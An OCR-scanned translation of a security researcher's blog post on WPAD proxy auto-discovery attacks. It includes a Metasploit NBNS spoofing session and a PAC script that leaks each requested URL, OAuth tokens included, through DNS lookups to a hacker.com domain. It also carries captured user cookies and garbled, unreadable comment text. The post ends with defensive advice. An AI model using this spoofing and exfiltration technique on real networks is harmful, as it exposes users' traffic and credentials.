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Hello! I'm Maxim Andreev, Mail.Ru Cloud backend programmer. At the last Security Meetup, | shared the results of my research on the
WPAD proxy auto-configuration protocol. For those who missed - today's post. I'll talk about what WPAD is, what opportunities it
provides for exploitation from the point of view of an attacker, and also show examples of how you can partially intercept HTTPS traffic
using this technology.

A bit of materiel

WPAD (Web Proxy Auto Discovery protocol) is used to find a PAC (Proxy Auto Config) file, which is JavaScript with a description of the
logic by which the browser will determine how to connect to the desired URL. When making a request, the browser calls the
FindProxyForURL function from the PAC file, passes the URL and host there, and as a result expects to know which proxies to go to this
address. It looks something like this:

function FindProxyForURL(url, host) {

if (host == ) {

return H
} else
if (host == ) {

return H
} else {

return ;
}

In addition to FindProxyForURL, various auxiliary functions are available in the PAC script for more flexible configuration. Using them, you
can, for example, indicate that the browser should open the mail.ru website from one to two on Monday through% proxynameX%, and at
other times through% proxynameY%. The address of the PAC script can be specified explicitly in the browser proxy settings. For
example, in Firefox, this can be done in the settings item called "URL for automatic proxy service settings." However, the network
administrator is unlikely to want to prescribe the settings for all browsers of each client manually. It is much more convenient to use
WPAD for this.

How WPAD Works

First of all, WPAD tries to find the PAC script using the option from the DHCP server (however, this feature is practically not supported by
browsers), and then sends an HTTP request to http: //wpad.%domain%/wpad.dat and downloads the resulting file. At the same time, in
various operating systems, the search for the wpad.dat file will occur in different ways.

Suppose we learned from the DHCP settings that the domain name is msk.office.work. Then Windows XP will try to find it on
wpad.msk.office.work (the domain resolution will be through DNS), and then simply on wpad.office.work.

1. http://wpad.msk.office.work/wpad.dat (DNS)
2. http://wpad.office.work/wpad.dat (DNS)

No. Time Source astination Protocol Length Inf

I ]
37 12.933986 192.168.123.22 8.8.8

39 12.961597 192.168.123.22 8.8.8
Queries made by Windows XP

8 DNS 80 standard query 0x9f21 A wpad.msk.office.work|
8 DNS 76 standard query 0xc9la A wpad.office.work

Windows 7 behaves differently: first it checks the complete domain using DNS, then it tries to resolve the WPAD name through the Link-
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Local Multicast Name Resolution, and then using the NetBIOS Name Service. The last two are broadcast protocols, and LLMNR is only
supported by Windows, starting with Vista.

1. http://wpad.msk.office.work/wpad.dat (DNS)
2. http: //wpad/wpad.dat (LLMNR)

3. http: //wpad/wpad.dat (NBNS)

156 31.036138 192.168.123.20 8.8.8.8 DNS 80 standard query 0xdb38 A wpad.msk.office.work
166 31.142688 192.168.123.20 224.0.0.252 LLMNR 64 standard query O0xf4df A wpad
174 31.452509 192.168.123.20 192.168.123.255 NBNS 92 Name guery NB WPAD<00>

Queries that Windows 7 makes

LAN usage

Imagine yourself in the place of an attacker who wants to allow all local traffic through his proxy server. If we are in the same LAN
segment (i.e. we can use NetBIOS), we don’'t even have to do anything - you can use the ready-made NBNS spoofer from Metasploit.

metasploit v4.11.0-2015011401 [core:4.11.0.pre.20150
1387 exploits - 783 auxiliary - 223 post

356 payloads - 37 encoders - 8 nops

Free Metasploit Pro trial: http://r-7.co/trymsp ]

> auxiliary/spoof/nbns/nbns_response

auxiliary( ) > set SPOOFIP 192.168.123.21
POOFIP => 192.168.123.21

msf auxiliary( ) > set REGEX .*

REGEX => .*

msf auxiliary( ) = run

[*] Auxiliary module execution completed

ms £
ms £

[*] NBNS Spoofer started. Listening for NBNS requests...
msf auxiliary(

listening on [any] 80 ...
connect to [192.168.123.21] from (UNKNOWN) [192.168.123.20] 49159
GET /wpad.dat HTTP/1.1

Implementing NBNS spoofing on the local network

If we are on a different subnet, but there is a WINS server on our network, we can raise the Windows host with the name WPAD so that
WINS will spread information about us. This case is quite working: when testing in a fairly large local area network of one university, a
host located on the network even less than / 24 began to receive requests from hundreds of different IPs.

Internet use

Currently, there are 861 first-level domains. In addition to the familiar .com, .net, .ru, .org, among them there are more exotic ones - from
.work and .school to .ninja and .vodka. The names of these domains may well be spelled out in the domain-name option of DHCP servers.
Thus, if the .university domain is specified in the domain-name, and we register the wpad.university domain, then all requests for the
WPAD file will be sent to us. Moreover, if you look at wpad.TLD of the first-level domains, we will see the following picture:
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< wpad.airforce NEW $24.88/year

wpad.army $24.88/year '\.1'.!
< wpad.navy NEW $24.88/year
< wpad.ninja LIM \ $2.88/year E
< wpad.pe NEW $49.98/year '\ﬂ
< wpad.vodka NEW 1 $25.88/year E
< wpad.global NEW $59.88/year [A%Y]

WPAD-free domains for registration

A couple of years ago, | registered the wpad.co domain, which really went for numerous requests for the wpad.dat file. But there is more
recent evidence of the ability to intercept what was not intended for us: a month ago | registered the domain wpad.work. For 11 days, he
was contacted with 3901 unique IPs. It is noticeable that the number of requests decreased on the weekend.

200

o
x
3
T
)
=
)
X
s
I
>

BT cp uT nt c6 BC nH BT cp yT nT

1005 971 996 923 699 660 924 982 972 991 949

The number of calls to wpad.work: dynamics by day of the week.

What can be found in the logs, if you send all the afflicted through your proxy, you can see below.

C( Apr 04 1¢
Proxy server log fragment
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Profit?

So, we forced users to go through a proxy server controlled by us. What does this give us? In the case of HTTP requests, full control over
the traffic: headers and body of the request and response, all parameters, cookies, data of form submissions.

@@ dm i @ xe AeA3FT e [EE ol FEBEE @

Filter: l frame.number == 32 || frame.number == 559 | ~ l Expression... Clear Apply CoxpaHuTb

No. v Time Source Destination Protocol Length Info
32 0.063592 188.255 128.199. 1093 GET http://www.yandex.ru/ HTTP/1.1

559 6.708835 188.255 128.199 . HTTP 275 CONNECT www.gmail.com:443 HTTP/1.1

» Frame 32: 1093 bytes on wire (8744 bits), 1093 bytes captured (8744 bits)

» Ethernet II, Src: JuniperN fa:10:30 (84:b5:9c:fa:10:30), Dst: 04:01:30:8c:01:01 (04:01:30:8c:01:01)

» Internet Protocol Version 4, Src: 188.255. (188.255. ), Dst: 128.199. ~ (128.199. -

» Transmission Control Protocol, Src Port: 27981 (27981), Dst Port: 8998 (8998), Seq: 1, Ack: 1, Len: 1027

Host: www.yandex.ru\r\n

Proxy-Connection: keep-alive\r\n

Ccache-Control: max-age=0\r\n

Accept: text/html,application/xhtml+xml,application/xml;g=0.9,image/webp,*/*;g=0.8\r\n

User-Agent: Mozilla/5.0 (X11; FreeBSD amd64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 safari/537.36\r\n

Accept-Encoding: gzip, deflate, sdch\r\n

Accept -Language: en-US,en;g=0.8\r\n

v [truncated]Cookie: fuid01=55680be53ccb25d3.qTDciZ9bgkZEUIL - ZJQQKNuhJ7CxCC1DXblbcFFhleMpOomvVhxl1PE )

Cookie pair: fuid01=55680be53ccb25d3.qgTDciZ9bgkZEUTIL - ZTQEKNUhJI7CxCC1DXblbcFFhleMpOomvhxl PPB 1
Cookie pair: yandexuid=1393161211432882149
Cookie pair: z=m-rapido_big.webp.css%3Awww_PYghtmvEGNRFKTg2gMwSBuZsjrg%3Al
Cookie pair: Session_1id=3:1432882357.5.0.1432882357617:MSHHgA:1c.0[319498030.0.2|128833.667322._kXi
Cookie pair: L=AXx2CHIDD1FQAQhlBUNQAlwHcll/ZXtZKSA/C2sMEVSUBXE: 3e
Cookie pair: yandex_login=alex.g
Cookie pair: my=YzYBAQA=
Cookie pair: yp=1440658221.ww.1#1748242357.udn.cDphbGV«

0000 04 01 30 8c 01 01 84 b5 9c fa 10 30 08 00 45 00 L0 ...0..E. |
0010 04 37 3d e0 40 00 33 06 4b 5e .7=.@.3. KA. [
0020 6d 4d 23 26 5e 65 58 3f bb ea 69 70 80 18 HmM#&Ae X?..1p. .

P PRE— 2 a 2 ca

HTTP request through a proxy server

In the case of HTTPS, we will see only the CONNECT method. The maximum information available to us is the host and user-agent.
Unfortunately, the most interesting, that is, the data exchanged between the client and the server after handshake, for us will look only
like a set of binary data.

5/6/20, 4:59 PM
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@@ Am I N XECE AREeATEEFBEB el BB O

Filter: [ frame.number == 32 || frame.number == 559 | - l Expression... Clear Apply CoxpaHuTb
No. v Time Source Destination Protocol Length Info
32 0.063592 188.255 - 128.199 « = HTTP 1093 GET http://www.yandex.ru/ HTTP/1.1

559 6.708835 188.255

275 CONNECT www.gmail.com:443 HTTP/1.1

» Frame 559: 275 bytes on wire (2200 bits), 275 bytes captured (2200 bits)

» Ethernet II, Src: JuniperN fa:08:30 (84:b5:9c:fa:08:30), Dst: 04:01:30:8c:01:01 (04:01:30:8c:01:01)

» Internet Protocol Version 4, Src: 188.255. (188.255. ), Dst: 128.199. . (128.199. - )

» Transmission Control Protocol, Src Port: 23729 (23729), Dst Port: 8998 (8998), Seq: 1, Ack: 1, Len: 209

Host: www.gmail.com\r\n
Proxy-Connection: keep-alive\r\n

User-Agent: Mozilla/5.0 (X11; FreeBsD amdé4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 safari/537.36\r\n
\r\n

[Full request URI: http://www.gmail.comwww.gmail.com:443]

[HTTP request 1/1]

Response in frame: 565

0000 04 01 30 8c 01 01 84 b5 9c fa 08 30 08 00 45 00 [P ¢ PPN ...0..E. |
0010 01 05 3e e9 40 00 33 06 4d 87 L.>.@.3. M.o..[...
0020 5c bl 23 26 a8 39 7a 76 96 42 cb 00 80 18 11\.#&.9 zZv.B....

HTTPS request through a proxy server

Back to pac

Despite the fact that the PAC script is written in JavaScript, window, document objects are not available in it, it will not be possible to
display an alert to the user (it will be displayed only in the browser logs). However, even this stripped-down version has its own nice

features.

dnsDomainls isResolvable
shExpMatch dnsDomainLevels
isinNet weekdayRange
mylpAddress dateRange
dnsResolve timeRange
isPlainHostName alert
localHostOrDomainls

JavaScript Functions Available from the PAC Script

One of them, isResolvable, checks if it is possible to resolve a domain name to an IP address. It works like this:

if (isResolvable(host))
return H
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What can use of this function give us? To answer this question, we will first examine what exactly is passed to the FindProxyForURL
function in the “URL" argument. It turns out that it depends on the browser: Chrome passes the scheme, host, request (GET parameters),
but Firefox also has a fragment (location.hash).

For example, the URL http://mail.ru/?a=123#token=secret will be processed as follows:

Chrome

PAC_JAVASCRIPT_ALERT
--> message = "https://mail.ru/?secret=asd"

Firefox

https://mail.ru/?a=123#token=secret

PAC-alert: https://mail.ru/?a=123#token=secret

No matter which browser is used, we have a full URL. You can already work with this. Let's try using isResolvable to intercept the URL. We
encode the URL so that it is a valid host name, and add .hacker.com, in the NS records of which a DNS server is registered, where we
respond to all requests and log them.

So, with the help of simple transformations:

function encode(str) {
r = str.toLowerCase()

.replace( , function(m) {
return + m.charCodeAt(0)
)
.replace( , )
.substr(e0, 240);
return r + (r.slice(-1) != ? : ) + ;

function FindProxyForURL(url, host) {
var u = encode(url);
return isResolvable(u) ? : ;
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our test URL https://example.ru/?token=123 turns into an elegant
https058047047example046ru047063token061123.hacker.com , from which, through the Perl-conversion

| perl —lape

you can easily get the source string, that is, the full URL of the HTTPS request. Thus, using the wrong client configuration, an attacker
can partially bypass HTTPS encryption and gain access to the URLs of all user requests.

It's no secret that OAuth tokens are often transmitted in the URL fragment (location.hash). Thus, in the case of using Firefox, they can
also fall into our hands.

As a result of placing this script on wpad.work, several thousand user requests were intercepted, among them the most popular protocols
were:

1. 5B3% HTTPS
2. 46% HTTP
3. 0.15% WS

4. 0.08% WSS

Most often, requests came from the following countries:

1. 14% Russia
2. 1% USA
3. 9% China

4. 7% India

Total

With WPAD, regardless of HTTPS, you can intercept local traffic, OAuth tokens, and other information from the URL. However, we, as
honest people, will not do this. It's better to try, using our knowledge, to protect ourselves from potential attacks. Below are the main
recommendations, the implementation of which will protect your traffic.

1. Do not use “alien” domains . Usually it is advised to use .local in the absence of your domain, but | would not recommend doing this,
because an attacker could attack using broadcast resolvers that use the same domain - in particular Bonjour. It is optimal to use a
registered domain name (it is not necessary to make it resolvable externally).

2. Reserve wpad addresses in domain zones .

3. Disable automatic detection of settings in the settings of all browsers (for IE and Chrome, this can be done through domain
policies).
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PS If you want to participate in one of the following Security Meetups, and you have something to tell about, write to Karim @ valievkarim

Valiev or Vladimir @ z3apa3a Dubrovin.
Tags: security, domain names, proxy, https, mitm
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KommeHTapuun 16

¢y mikes 4 uions 2015815113 0

OTKNOYMTb aBTOMATUYECKOE onpeneneHne HacTpoek B HaCTpOVIKaX BCeX 6pay3epos (mns IE n Chrome aTo MOXHO caenaTb vyepes
OOMEHHble I'IOJ'IMTMKVI).

TOr4a KOHeYHo TepsieTcsl YacTb PyHKLUMoHana wpad :(

m z3apa3a 4 unioHs 2015 B 15:22

Ecnun Tpebyetca dyHkUMOHaN wpad, To Nyydlle BCero nponucaTtb B HacTponkax bpaysepa nnm nonntukon URL cueHapusa aBToMaTU4YeCKON
HaCTPOWKMU.

T mikes 4 nions 2015 & 15:30 0

[0a 3TO TO OHO NMNOHATHO, TYT BONPOC 6onblue B TOM, 4YTO TepseM UMeHHO CI)yHKU,I/IOHaJ'I CaMOCTOATENNIbHOIo o6Hapy)KeHm|. Tot cnyqa|7|

Korga KJIMeHT nosiy4daeT AOCTYN cpasy «M3 KOPOOKU» 1 He UMeeT Npobnem BHe oPpUCHOM ceTn Korga wpad NponncaH. He 04YeHb
xo4yeTcsa cBeTuTb wpad.dat Ha BeCb Mup TO.

N z3apa3a 4 nioHa 20158 15:46

Tak He cBeTUTe — Ha cepBepe no IP knueHTa otgaeanTe unu WPAD ans nokasnbHOW CETU UKW MYCTOM, €CNN 3anpoc NpuLwen
CHapy>XMu.

1"5 mikes 4 vions 2015 B 15:50 0

naes xopolua, cnacnbo 3a coserT :)

? gotch 4 nioHa 20158 18:13

B cooTtBeTcTBUM ¢ RFC 2606 ecTb BCcero nuib 4 foMeHa NepBOro yPOBHS O/151 «J1EBbIX» UMEH —
test

.example
.invalid
Jlocalhost

HacTtoaTenbHo He pekoMeHay0 agMUHUCTPaTOpaM NPUAYMbIBaTb CBOM JOMEHbI, B 6yayL,eM 3TN OMEHHbIe 30Hbl MOTYT BHE3aMnHo cTaTb
ny6nMYHbIMK.

Tak xe He NMWHUM byaeM nogymatb 06 oTknoueHun WPAD B rpynnosoit nonutuke un skatoydeHun DHCP onuun 252
technet.microsoft.com/ru-ru/library/bb839043.aspx

q z3apa3a 4 uwioHs 2015 B 22:38 0

DHCP onuus 252 ckopee Bcero He peluaeT npobnembl, dakTn4yeckm oHa BoobLwa Mano Ha 4To BamseT. Hactpoiiku WPAD He nony4atoTcs
OfiHOBpeMeHHO ¢ nonyyeHunem IP. B ctapbix Bepcusax Windows HacTporiku WPAD 3anpalumeanuce B Internet Explorer otgenbHbiM
3anpocoM DHCPINFORM npu ctapTe 6paysepa, NpuyeM ToNIbKO eCnK Y Nosib3oBaTens 6bi1M NpaBa agMUHUCTPATOPa, B COBPEMEHHbIX He
yBEpPEH, YTO Kako-n1nbo 6paysep BoobLLE ee NOALEPXKMBAET, XOTS HE NPOBEPSN U MOry olMbaTbCs.
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“ cdump 4 vions 2015 B 22:56 0

[Mpo noapep KKy aTo onuumM CoBpeMeHHbIMU Bpay3epamMm ckasaHo BEPHO, HanpMMep B MOcefHUX Ha MOMEHT uccnepoBaHus Firefox n
Chrome ata dhcp onuus He yunTbiBanacb

m VGusev2007 5 uions 2015 8 10:16 0

Hackonbko g noHsn, IE, cnpawmBaeT aTy HacTpoliky B DHCP. Ecnu orpaHnuntbes npocto DNS, To MS Office, proxy He
noaxsaTbiBaerT.

&) naum 4 unioHs 2015 B 22:05

OTNNYHBIV MOCT, KPYTble U3bICKaHUA, MHTEpecHas NnJtoxa C NPONyckKoM NogaoMeHa. MIHTepecHo, Kak M3MeHUTCA CUTyaLus Ha pbiHke wpad.*
[OMEHOB B 6AvXaniune gHN.

HJ10 npuneteno 1 ony6nvkoBano aTy HaanNuch 34echb

@ Il ValdikSS 5 nioHs 2015 B 22:02

Kpome 6paysepos WPAD uncnonbayeT Becb codT KoTopblit ncnonb3yet WinHTTP API (kak MuHMMyM windows update), no kpanHe mepe
noka He OTKJIlo4eHa cny>6a KoTopas TO/IbKO U 3aHMMaeTCs YTO aBTOAETEKTOM MPOKCHU.

He Tonbko WPAD, Ho n cam PAC. U aTo cTpawHo. Tpaduk k PAC-daliny aHTusanpeTta npesbllaeT Tpaduk caMoro Npokcu. S He wyudy,
50000 yenosek cnocobHbl reHepupoBaTh No 20 MéuT/c. HenpaeunbHo HanucaHHble Wininet-npunoxeHus, KOTopble, BEPOATHO, CO3aatoT
KaXablh pas HOBbIN KOHTEKCT A1 HOBOro 3anpoca, 3anpawmsatoT PAC-dainn kaxabiii pas, coBepluas 3anpoc!

Bor, nontobyiitecs: valdikss.org.ru/az-proxypac.webm. NMpuxogutcs otgaBaTth 403 Ha 3anpockl 6e3 User-Agent.

) BoOoM 6 vions 2015 B 01:55 (0

[pnKonbHO)
A no peanpekTy oHu NonayT?))

n ValdikSS 6 uioks 2015 8 01:58 0

He npobosan, Ho, gymato, nonayT.

* cdump 5 uions 2015 8 22:33 0

Hackonbko g 3Hato oHo B Havane wnét DHCP INFORM u TpebyeT onumio 252, 1 ToNbKO eciv oTBETa HET UK ONLUKN B OTBETE HET TO
HayMHaeTcsa bpoXkeHue rge nonano.

B peanbHocTu BCce He Tak xopowo ¢ DHCP 252:
— B firefox 910 He Nnogaep>xunBaeTcs HUrae.
— B Windows 7 ato noggep>xxunaet Tonbko |IE — cm. DHCP WPAD findproxyforurl.com/browser-support
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EcTb elie Takol cTapbiii CLLEeHapUii:

3710yMbIWIEHHNK Ha3HavyaeT paboyeit cTaHuum umMsa wpad. BBoaut B goMeH (Mcnonb3ys npueuneruto Beectr 10 paboumx cTaHLui).
ABTOMaTUYeCku nosiBnseTcs Hy>xHas 3anuco B DNS. Profit.

Onsa storo ewe B Windows Server 2008 cgenanu globalqueryblocklist (https://technet.microsoft.com/ru-
ru/library/cc794902(v=ws.10).aspx). [o6aBuTb 3anncb wpad MoxHo, Ho DNS ee He byaeT paspeluatb. Ho 3gech nosBnseTcs puck
NnogHATUS Ha [OMEHbI BEPXHErO YPOBHS O/15 noncka wpad.

Tonbko nonHonpaeBHble NOIb30BaTES/IM MOT'YT OCTaB/NATb KOMMEHTapun. BOVI,EI,VITe, no>|<any17|CTa.

CAMOE YNTAEMOE

Mpo-AXyHMOPbI, NN NONMUININOHA NOTEPAHHDbIX» Pa3paboTuMKoB

+16 20k 58 51

Cyactbe B HULLETE

+34 32,3k a1 97

3auem HyxeH SSD c untepdeiicom PCl Express 4.0? 06bsacHAeM Ha Nnpumepe Seagate FireCuda 520

+27 11k 8 23

HoBuukam CbOHﬂOBOI'O PbIHKA: YeCTHble Ppa3roBopbl O TpeﬁnMHre

+27 14,8k 118 42

MLCT BbinycTun 6onee aelwésble MaTepPUHCKKE NNATbl 48 NPOLECCOPOB «INb6pyc»: Bcero 92 000 n 120 000 P

+25 8,9k 9 149
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Baw akkayHT Paspenbl NHbopmaumsa Yenyrun

Boiitn My6nukaummn YcTponcTBo calita Peknama

Peructpauus HoBocTu [ns aBTOopOB Tapuobl
Xabbl [nsa koMnaHui KoHTEHT
KomnaHuun [JoKyMeHTbI CeMuHapbl
[Monb3oBatenun CornalueHve MeranpoekTbi
MNecoyHunua KoHpuaeHunanbHoOCTb

Ecnu Hawnu onevaTky B NocTe, BblAenuTe ee u Haxxmute Ctrl+Enter, 4yTo6bl COOBWMTL aBTOPY.
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